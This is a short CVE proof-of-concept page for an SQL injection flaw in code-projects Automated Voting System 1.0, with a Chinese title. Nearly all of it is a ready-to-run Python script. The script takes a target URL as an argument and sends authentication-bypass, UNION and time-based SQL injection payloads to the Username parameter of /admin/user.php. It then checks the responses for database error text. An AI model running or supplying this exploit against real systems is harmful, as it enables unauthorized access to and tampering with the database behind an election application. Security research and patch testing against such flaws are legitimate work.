CVE-2025-12238 | code-projects Automated Voting System 1.0 SQL注入漏洞

# CVE-2025-12238 SQL Injection PoC # Target: code-projects Automated Voting System 1.0 # Endpoint: /admin/user.php # Parameter: Username import requests import sys target_url = "http://target.com/admin/user.php" # Basic SQL Injection test payloads payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3,4,5-- -", "admin' AND SLEEP(5)-- -", "admin' AND 1=1-- -", "admin' OR 1=1 LIMIT 1-- -" ] def test_sqli(): print(f"[*] Testing CVE-2025-12238 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: params = { "Username": payload, # Add other required parameters if known } try: print(f"\n[*] Testing payload: {payload}") response = requests.get(target_url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error', 'sqlite']): print(f"[!] Potential SQL injection detected with payload: {payload}") print(f"[!] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sqli()